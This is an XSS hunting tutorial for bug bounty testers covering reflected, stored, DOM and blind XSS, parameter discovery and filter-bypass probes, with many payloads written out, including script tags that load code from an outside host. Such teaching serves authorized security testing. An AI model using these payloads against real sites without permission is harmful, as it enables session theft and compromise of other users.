XSS (known as Cross Site Scripting) is usually the most common and also the most easiest type of vulnerability to find since you are simply looking for your input reflected in the response. What do we mean by this?

Imagine this: You are currently on the website URL https://www.example.com/login?return=/home. You notice ?return=/home and from checking the source via view-source:https://www.example.com/login?return=/home you confirm /home is reflected as, <script>var return = '/home';</script>. If you change return to /test and notice it's changed then you've confirmed you can control it. You can simply check every parameter & look for your input in the response.

You're looking for parameters that are reflected that you can control

Next, we need to see if it's actually vulnerable to XSS. We can control the reflection, but we need to cause some impact which means executing our own HTML/JS. An example: If we used a payload such as </script><svg/onload=alert(0)> and your payload is reflected as valid HTML then it should show a popup box with "0". This type of vulnerability is called reflective xss. The web application is handling your inputted value and reflecting it on the source.

Dont be mistaken and just use Inspect Element when looking for your reflection. Inspect Element will open the DOM, whereas view-source will open the raw HTML. What's the difference? Imagine this:, when viewing /user/settings, one application will simply reflect your information, which can be found in both inspect element and view-source:. But, another web application makes another request to /api/user/settings and appends the response in the DOM. You won't see your information via view-source, but you will via Inspect Element. This is because the data was retrieved from elsewhere and appended. Use both approaches when checking for your reflection.

That's not all with XSS as there are different types. Imagine this: you can signup to your website and you give yourself a display name of <svg/onload=alert(0)> and the website allows you to share posts on your page (like twitter). When posting you notice an "0" javascript alert box. This would be Stored XSS as the web application has stored your input and it's reflected without you needing to use any parameters in the GET/POST request. In the first example we inputted it via the parameter, ?return=, but in this case we saved and stored the input first and then web application reflected it for us.

Those are two examples of XSS and how you are simply looking for your value being reflected as valid HTML. With that said, not every XSS is as straight forward as that as sometimes filters/WAFs are in place to prevent XSS attacks and certain characters are restricted. Let's first explore each XSS type and some scenarios you may discover these.

Different types of XSS

Stored XSS is when the XSS is stored in the websites database and reflected back to users. For example imagine your twitter name. This is stored & displayed to other users.

Check all inputs you can control and save XSS payloads everywhere you can

Reflective XSS is when XSS is reflected in the source via a parameter in the URL/request, either via a GET or a POST request.

Check all parameters/headers (such as Referrer or even User-agent, think web cache poisoning!). Don't forget to fuzz for common parameter names.

DOM XSS is XSS executing from the DOM, usually injected via hash fragments, for example ``#q=<svg/onload=alert(0)>

Check through javascript files and look for certain sinks known to cause DOM XSS such as document.write(), .innerHTML, jquery.html(). It can also be found if you notice the web application is redirecting via Javascript, such as top.location.href=returnUrl. Using javascript:alert(0) would cause XSS to execute.

Self XSS is XSS that only affects you. This could be in your account settings that only you can access. For these types of XSS I recommend looking for a cross site request forgery issue on login which you can use in a chain.

  • Blind XSS is an XSS payload that fires blindly, for example on an admins backend. It doesn't execute for you, but it does for another user (usually employees).. Imagine you have ordered some food and you add on the notes, <script src=//zseano.com/> and when the restaurant opens your order, the XSS payload may fire. For this you should host XSSHunter yourself on your own instance. It's real simple to setup!

Input everywhere

Input xss payloads where-ever possible. Your name, in your email (test+<h2>@test.com), bio. See how it's handled and reflected, is anything stripped/filtered? Don't use the most common <script> as most web applications will filter this and instead start with something "harmless" such as <h2>. This is more likely to work especially if some type of html markdown rendering is being used and you can work on building an XSS payload with impact. Carry on reading to learn more on the flow of testing for XSS.

Discovering parameters

Apart from looking in your web proxy logs for ?parameter= when navigating the web application and seeing the parameters being used are simply right there in front of you you can also discover more by looking in the raw html (view-source:) and the DOM (Inspect element) for things such as <input id='param1' name='param1'> and begin building a wordlist to fuzz. For example in this case you'd try param1 as a parameter. You can also browse .js files (look for var =) or you can simply brute force commonly known parameter names, such as returnUrl.

I can not stress enough how much large companies re-use code & parameter names across lots of endpoints.

Testing XSS and if there's any filters

Here is my simple testing methodology when testing for XSS. Each case will help you determine what's being filtered

<h2> vs <script> - h2 tags are usually not blacklisted. how are both handled?

<script src=//evil/?c= - Are they only looking for complete tags? Notice we don't end the HTML tag and append extra HTML as a parameter!

</script/x> - The trailing / closing the tag can sometimes break filters. I have high success rate with this.

<<h2>> - may strip the outter < > leaving <h2>

<IFRAME> - is it case sensitive?

"onxss= - are they only looking for the most known on{} event handlers? onxss= isn't valid. Does it error when using onerror= but not when onxss=?

Using the above will give you a clear indication if something is vulnerable to XSS as well as information on what they may be filtering. Now imagine you've determined <h2> is reflected, but <script> is not, this means we're faced with a filter. We know it's vulnerable to XSS as it reflects our innocent <h2> tag, but they're filtering malicious html tags.

Understanding XSS filters

Firstly, if no matter what payload you use, you always see &lt;script&gt;, %3Cscript%3E then it is not likely to be vulnerable. However, developers like to try introduce filters for various reasons which create XSS opportunities. Instead of preventing HTML payloads altogether via correct sanitisation/encoding, they choose to filter out "malicious" html. Filters can be good sometimes in a way as it means you get to play & try to reverse enigneer the developers thoughts. From understanding how a developer has chosen to filter certain XSS payloads, it can give you an idea for the security throughout (perhaps similar filtering exists on a potential SSRF?). Below are some common cases when testing XSS and how I go about trying to create a working proof of concept (PoC).

                Problem #1

You use the payload <script>alert(0)</script> and notice only alert(0) is reflected.

What to try

At this point I start asking, are they simply filtering certain html tags?. Trying payloads such as <script src=// (without ending the tag), is <script filtered regardless? In which case, does <notreal> (not a real tag, not filtered?) work? You could then use <notreal onpointerrawupdate=alert`0`> which executes on Firefox.

                Problem #2

You use the payload <script>alert(0)</script> and notice &lt;script&gt;alert(0)&lt;/script&gt; is reflected.

What to try

It is perhaps unlikely this parameter will be vulnerable to XSS, however do not rule it out. Test for different encodings such as %3Cscript%3Ealert(0)%3C%2Fscript%3E as the filter may be looking for <, but encoding bypasses the checks. You can also try providing < yourself (but encoded, so %26lt%3Bscript%26gt%3Balert(0)%26lt%3B%2Fscript%26gt%3B). The server may process it as valid HTML on response.

Learning about Cross Site Scripting (XSS)